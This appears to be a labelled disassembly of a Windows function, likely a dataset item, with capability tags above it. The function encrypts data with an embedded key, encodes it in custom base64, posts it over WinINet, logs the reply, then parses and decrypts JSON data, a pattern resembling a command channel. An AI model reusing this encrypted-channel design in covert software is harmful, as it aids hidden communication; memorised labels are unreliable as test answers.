Function at 0x40d510
Capabilities:
Download and write a file
Encode data using base64
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414f91
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3a8
mov eax, dword [0x41e008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x3a0], eax
mov ecx, dword [ebx + 8]
mov dword [ebp - 0x3b4], ecx
test eax, eax
jne 0x40d570
mov eax, 0xfffffffd
jmp 0x40e448
push edx
lea ecx, [ebp - 0x284]
call fcn.0040ff50
mov dword [ebp - 4], 0
cmp byte [0x41e6ec], 0
je 0x40d5b0
cmp dword [ebp - 0x270], 0x10
lea ecx, [ebp - 0x284]
mov edx, dword [ebp - 0x274]
cmovae ecx, dword [ebp - 0x284]
push 1
call fcn.0040fb40
add esp, 4
mov edi, dword [ebp - 0x274]
inc edi
lea esi, [edi*2 + 0x12]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x3a8], eax
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x3ac], eax
push esi
push 0
push dword [ebp - 0x3a8]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
mov esi, dword [ebp - 0x3ac]
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x284]
cmp dword [ebp - 0x270], 0x10
cmovae eax, dword [ebp - 0x284]
push edi
push dword [ebp - 0x3a8]
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [edi + edi]
push eax
push esi
push 0xffffffffffffffff
push dword [ebp - 0x3a8]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, esi
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x40d650
sub edi, ecx
mov byte [edi + esi], al
inc edi
mov eax, edi
and eax, 0x8000000f
jns 0x40d66d
dec eax
or eax, 0xfffffff0
add eax, 1
je 0x40d687
nop
mov byte [edi + esi], 0
inc edi
mov eax, edi
and eax, 0x8000000f
jns 0x40d685
dec eax
or eax, 0xfffffff0
add eax, 1
jne 0x40d670
xor ecx, ecx
mov eax, edi
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
lea ecx, [edi + 1]
mov esi, eax
mov dword [ebp - 0x398], esi
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 8
mov byte [ebp - 0x18], 0
xorps xmm0, xmm0
mov edx, 0x11
movups xmmword [ebp - 0x28], xmm0
push str.dmYjExMmQtZTk5NC
push ecx
lea ecx, [ebp - 0x28]
call fcn.00409060
lea eax, [ebp - 0x380]
push eax
call fcn.00401020
mov ecx, dword [ebp - 0x3ac]
lea eax, [ebp - 0x28]
add esp, 4
mov edx, esi
push 1
push eax
lea eax, [ebp - 0x380]
push eax
push edi
call fcn.00401f70
lea ecx, [edi*4]
mov eax, 0x55555556
imul ecx
xor ecx, ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
lea eax, [esi + 4]
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 0x14
mov dword [ebp - 0x39c], eax
lea ecx, [esi + 5]
push ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
add esp, 0xc
xor esi, esi
mov dword [ebp - 0x390], ecx
test edi, edi
jle 0x40d893
mov eax, dword [ebp - 0x398]
mov edx, 1
sub edx, eax
mov dword [ebp - 0x3b0], edx
mov edx, 2
sub edx, eax
mov dword [ebp - 0x394], edx
mov edx, dword [ebp - 0x39c]
jmp 0x40d786
mov eax, dword [ebp - 0x398]
add ecx, eax
mov dword [ebp - 0x3a4], ecx
movzx eax, byte [ecx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx], al
movsx ecx, byte [ecx]
mov eax, dword [ebp - 0x3a4]
and ecx, 3
add eax, dword [ebp - 0x3b0]
mov edx, dword [ebp - 0x39c]
shl ecx, 4
cmp edi, eax
jle 0x40d87d
mov edx, dword [ebp - 0x398]
mov eax, dword [ebp - 0x390]
movzx eax, byte [eax + edx + 1]
mov edx, dword [ebp - 0x39c]
shr eax, 4
or eax, ecx
mov ecx, dword [ebp - 0x398]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx + 1], al
mov eax, dword [ebp - 0x390]
movsx ecx, byte [eax + ecx + 1]
mov eax, dword [ebp - 0x3a4]
and ecx, 0xf
add eax, dword [ebp - 0x394]
shl ecx, 2
cmp edi, eax
jle 0x40d869
mov eax, dword [ebp - 0x390]
mov edx, dword [ebp - 0x398]
movzx eax, byte [eax + edx + 2]
mov edx, dword [ebp - 0x39c]
shr eax, 6
or eax, ecx
mov ecx, dword [ebp - 0x390]
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx + 2], al
mov eax, dword [ebp - 0x398]
movsx eax, byte [ecx + eax + 2]
add ecx, 3
and eax, 0x3f
mov dword [ebp - 0x390], ecx
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx + 3], al
add esi, 4
cmp ecx, edi
jl 0x40d780
jmp 0x40d899
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx + 2], al
mov byte [esi + edx + 3], 0x3d
add esi, 4
jmp 0x40d899
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edx + 1], al
mov word [esi + edx + 2], 0x3d3d
add esi, 4
jmp 0x40d899
mov edx, dword [ebp - 0x39c]
mov byte [esi + edx], 0
add esi, 0x20
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [ebp - 0x39c]
add esp, 4
mov dword [ebp - 0x394], eax
push edi
push str._data_:__s_
push esi
mov esi, eax
push esi
call fcn.00408fe0
mov edx, esi
add esp, 0x10
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40d8d0
sub edx, ecx
mov ecx, 0x41e6f0
lea eax, [ecx + 1]
mov dword [ebp - 0x394], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d8e7
sub ecx, dword [ebp - 0x394]
push edx
push esi
push ecx
push 0x41e6f0
push dword [ebp - 0x3a0]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp byte [0x41e6ec], 0
je 0x40d92b
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40d916
sub edx, ecx
mov ecx, esi
push 2
call fcn.0040fb40
add esp, 4
push dword [ebp - 0x3a8]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 0x3ac]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 0x398]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
add esp, 4
push esi
call edi
mov edi, dword [ebp - 0x3a0]
lea eax, [ebp - 0x384]
add esp, 4
mov dword [ebp - 0x384], 0
push 0
push eax
push 0
push 0x80000016
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov eax, dword [ebp - 0x384]
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 0x384]
add esp, 4
add ecx, 2
mov esi, eax
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x384]
push 0
push eax
push esi
push 0x80000016
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp byte [0x41e6ec], 0
je 0x40d9f5
mov edx, dword [ebp - 0x384]
mov ecx, esi
push 0
call fcn.0040fb40
add esp, 4
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
lea eax, [ebp - 0x384]
add esp, 4
mov dword [ebp - 0x384], 0
push 0
push eax
push 0
push 0x16
push edi
call esi
mov eax, dword [ebp - 0x384]
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 0x384]
add esp, 4
add ecx, 2
mov dword [ebp - 0x3ac], eax
push ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x384]
push 0
push eax
push dword [ebp - 0x3ac]
push 0x16
push edi
call esi
cmp byte [0x41e6ec], 0
je 0x40dbc5
mov eax, dword [ebp - 0x384]
push 0x104
mov dword [ebp - 0x394], eax
lea eax, [ebp - 0x130]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x130]
push 0x5c
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsrchr]
add esp, 4
mov edx, 0xc
push str.network.log
push ecx
lea ecx, [eax + 1]
call fcn.00409060
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x23c]
movzx eax, word [ebp - 0x23e]
push ecx
push eax
movzx eax, word [ebp - 0x240]
push eax
movzx eax, word [ebp - 0x242]
push eax
movzx eax, word [ebp - 0x246]
push eax
movzx eax, word [ebp - 0x248]
push eax
push str._d__02d__02d__02d:_02d:_02d
lea eax, [ebp - 0x238]
push 0x104
push eax
call fcn.00408fe0
lea ecx, [ebp - 0x238]
add esp, 0x24
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40db60
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x238]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0xf
push str._Receive_Head:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push dword [ebp - 0x394]
push dword [ebp - 0x3ac]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 4
push str._r_n_r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x3ac]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov dword [ebp - 0x384], 0
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x388], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
push 0
push 0x41a0ec
mov byte [ebp - 0x26c], 0
call fcn.00410d70
mov byte [ebp - 4], 1
nop dword [eax]
push 0
push 0
lea eax, [ebp - 0x388]
mov dword [ebp - 0x254], 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov ecx, dword [ebp - 0x388]
test ecx, ecx
je 0x40dd2b
xor eax, eax
add ecx, 2
setb al
neg eax
or eax, ecx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 0x388]
add esp, 4
add ecx, 2
mov esi, eax
mov dword [ebp - 0x3a4], esi
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x388]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x258]
mov edx, dword [ebp - 0x25c]
sub ecx, edx
mov edi, dword [ebp - 0x254]
mov dword [ebp - 0x3b0], eax
push edi
cmp edi, ecx
ja 0x40dceb
cmp dword [ebp - 0x258], 0x10
lea esi, [ebp - 0x26c]
push dword [ebp - 0x3a4]
cmovae esi, dword [ebp - 0x26c]
lea eax, [edx + edi]
add esi, edx
mov dword [ebp - 0x25c], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [edi + esi], 0
add esp, 0xc
mov esi, dword [ebp - 0x3a4]
jmp 0x40dd05
push esi
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x26c]
push dword [ebp - 0x394]
push edi
call fcn.00411130
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
cmp dword [ebp - 0x3b0], 0
je 0x40dd2b
cmp dword [ebp - 0x254], 0
mov edi, dword [ebp - 0x3a0]
ja 0x40dc20
cmp byte [0x41e6ec], 0
je 0x40de9b
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x258], 0x10
mov dword [ebp - 0x394], eax
lea eax, [ebp - 0x26c]
cmovae eax, dword [ebp - 0x26c]
push 0x104
mov dword [ebp - 0x3b0], eax
lea eax, [ebp - 0x130]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x130]
push 0x5c
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsrchr]
add esp, 4
mov edx, 0xc
push str.network.log
push ecx
lea ecx, [eax + 1]
call fcn.00409060
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x23c]
movzx eax, word [ebp - 0x23e]
push ecx
push eax
movzx eax, word [ebp - 0x240]
push eax
movzx eax, word [ebp - 0x242]
push eax
movzx eax, word [ebp - 0x246]
push eax
movzx eax, word [ebp - 0x248]
push eax
push str._d__02d__02d__02d:_02d:_02d
lea eax, [ebp - 0x238]
push 0x104
push eax
call fcn.00408fe0
lea ecx, [ebp - 0x238]
add esp, 0x24
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40de40
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x238]
push 0
push 0
sub ecx, edx
push ecx
push eax
push esi
call edi
push 0
push 0
push 0x16
push str._Receive_Cipher_Text:
push esi
call edi
push 0
push 0
push dword [ebp - 0x394]
push dword [ebp - 0x3b0]
push esi
call edi
push 0
push 0
push 4
push str._r_n_r_n
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x3b4]
mov eax, ecx
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40deb2
mov eax, dword [ecx]
mov byte [eax], 0
lea esi, [ebp - 0x26c]
cmp dword [ebp - 0x258], 0x10
push 0x28
cmovae esi, dword [ebp - 0x26c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 0x3ac], edi
test edi, edi
je 0x40df3e
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm0
movq qword [edi + 0x20], xmm0
test esi, esi
je 0x40df02
mov al, byte [esi]
test al, al
je 0x40df02
cmp al, 0x20
ja 0x40df02
add esi, 1
jne 0x40def3
mov edx, esi
mov ecx, edi
call fcn.00411cf0
test eax, eax
je 0x40df37
mov esi, dword [edi + 8]
test esi, esi
je 0x40df37
nop word [eax + eax]
mov ecx, dword [esi + 0x20]
mov edx, str.code
call fcn.00411750
test eax, eax
je 0x40df7f
mov esi, dword [esi]
test esi, esi
jne 0x40df20
mov ecx, edi
call fcn.004117e0
or esi, 0xffffffff
mov edx, dword [ebp - 0x258]
cmp edx, 0x10
jb 0x40e3ef
mov ecx, dword [ebp - 0x26c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e3e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40e3e5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
test esi, esi
je 0x40df37
cmp dword [esi + 0xc], 3
jne 0x40df37
cmp dword [esi + 0x14], 0xc8
mov ecx, edi
je 0x40dfa0
call fcn.004117e0
mov esi, 0xfffffffe
jmp 0x40df41
mov edx, str.data
call fcn.004120d0
test eax, eax
jne 0x40dfb9
mov ecx, edi
call fcn.004117e0
xor esi, esi
jmp 0x40df41
cmp dword [eax + 0xc], 4
je 0x40dfcd
mov ecx, edi
call fcn.004117e0
xor esi, esi
jmp 0x40df41
push dword [eax + 0x10]
lea ecx, [ebp - 0x250]
call fcn.0040ff10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x250]
cmp dword [ebp - 0x23c], 0x10
mov edi, dword [ebp - 0x250]
mov edx, dword [ebp - 0x240]
cmovae ecx, edi
mov eax, edx
cmp byte [ecx + edx - 1], 0x3d
jne 0x40e00c
dec eax
cmp byte [eax + ecx - 1], 0x3d
je 0x40e004
lea eax, [eax + eax*2]
cdq
and edx, 3
lea esi, [edx + eax]
xor edx, edx
sar esi, 2
lea ecx, [esi + 3]
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x3a8], eax
lea ecx, [esi + 4]
push ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov al, byte [0x41a0ec]
lea ecx, [ebp - 0x250]
add esp, 0xc
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x23c], 0x10
cmovae ecx, edi
xor eax, eax
xor edi, edi
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x390], edi
mov word [ebp - 0x3a3], ax
cmp dword [ebp - 0x240], eax
jle 0x40e212
mov dl, byte [ebp - 0x3a3]
lea esi, [ecx + 2]
mov eax, 0xfffffffe
mov dword [ebp - 0x390], edx
sub eax, ecx
mov dword [ebp - 0x3b0], eax
mov al, byte [ebp - 0x3a2]
mov dword [ebp - 0x398], eax
nop dword [eax]
mov edx, dword [ebp - 0x39c]
xor ecx, ecx
nop dword [eax + eax]
movzx edx, dl
mov dword [ebp - 0x39c], edx
mov dl, byte [esi - 2]
cmp dl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edx, dword [ebp - 0x39c]
movzx eax, cl
cmove edx, eax
inc ecx
mov dword [ebp - 0x39c], edx
cmp ecx, 0x40
jl 0x40e0c0
mov edx, dword [ebp - 0x390]
xor ecx, ecx
movzx edx, dl
mov dword [ebp - 0x390], edx
mov dl, byte [esi - 1]
cmp dl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edx, dword [ebp - 0x390]
movzx eax, cl
cmove edx, eax
inc ecx
mov dword [ebp - 0x390], edx
cmp ecx, 0x40
jl 0x40e0f2
mov edx, dword [ebp - 0x398]
xor ecx, ecx
movzx edx, dl
mov dword [ebp - 0x398], edx
mov dl, byte [esi]
cmp dl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edx, dword [ebp - 0x398]
movzx eax, cl
cmove edx, eax
inc ecx
mov dword [ebp - 0x398], edx
cmp ecx, 0x40
jl 0x40e124
mov eax, dword [ebp - 0x3a0]
xor edx, edx
nop word [eax + eax]
movzx ecx, al
movzx eax, dl
mov dword [ebp - 0x394], eax
mov al, byte [esi + 1]
cmp al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x394]
cmove ecx, eax
inc edx
mov al, cl
cmp edx, 0x40
jl 0x40e160
mov edx, dword [ebp - 0x390]
mov cl, dl
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x39c]
sar cl, 4
shl al, 2
and cl, 3
or cl, al
mov eax, dword [ebp - 0x3a8]
mov byte [edi + eax], cl
inc edi
cmp byte [esi], 0x3d
je 0x40e20c
mov cl, byte [ebp - 0x398]
mov al, dl
sar cl, 2
shl al, 4
and cl, 0xf
or cl, al
mov eax, dword [ebp - 0x3a8]
mov byte [edi + eax], cl
inc edi
cmp byte [esi + 1], 0x3d
je 0x40e20c
mov al, byte [ebp - 0x398]
add esi, 4
mov ecx, dword [ebp - 0x3a0]
shl al, 6
and cl, 0x3f
or cl, al
mov eax, dword [ebp - 0x3a8]
mov byte [edi + eax], cl
inc edi
mov eax, dword [ebp - 0x3b0]
add eax, esi
cmp eax, dword [ebp - 0x240]
jl 0x40e0b0
mov dword [ebp - 0x390], edi
mov esi, dword [ebp - 0x3a8]
xor ecx, ecx
mov eax, edi
add eax, 1
setb cl
mov byte [edi + esi], 0
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x3a4], eax
inc edi
push edi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x380]
push 0xf0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x380]
push eax
call fcn.004012a0
push str.dmYjExMmQtZTk5NC
push ecx
mov edx, 0x11
lea ecx, [ebp - 0x28]
call fcn.00409060
mov edx, dword [ebp - 0x3a4]
lea eax, [ebp - 0x28]
push 0
push eax
lea eax, [ebp - 0x380]
mov ecx, esi
push eax
push dword [ebp - 0x390]
call fcn.00401f70
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 0x14
mov dword [ebp - 0x3a0], eax
lea esi, [edi + edi]
push esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
add esp, 0xc
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x394], eax
push esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
push dword [ebp - 0x3a0]
mov edi, dword [ebp - 0x3a4]
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push esi
mov esi, dword [ebp - 0x394]
push esi
push 0xffffffffffffffff
push dword [ebp - 0x3a0]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x3b4]
push esi
call fcn.0040fd80
cmp byte [0x41e6ec], 0
je 0x40e365
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e350
sub edx, ecx
mov ecx, esi
push 4
call fcn.0040fb40
add esp, 4
mov ecx, dword [ebp - 0x3ac]
call fcn.004117e0
push dword [ebp - 0x3a8]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
add esp, 4
push dword [ebp - 0x3a0]
call edi
add esp, 4
push esi
call edi
mov eax, dword [ebp - 0x23c]
add esp, 4
xor esi, esi
cmp eax, 0x10
jb 0x40df41
mov edx, dword [ebp - 0x250]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40e3d6
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40e3d6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00413d82
add esp, 8
jmp 0x40df41
push edx
push ecx
call fcn.00413d82
add esp, 8
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
mov byte [ebp - 0x26c], 0
cmp edx, 0x10
jb 0x40e446
mov ecx, dword [ebp - 0x284]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e43c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40e43c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00413d82
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00413d41
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret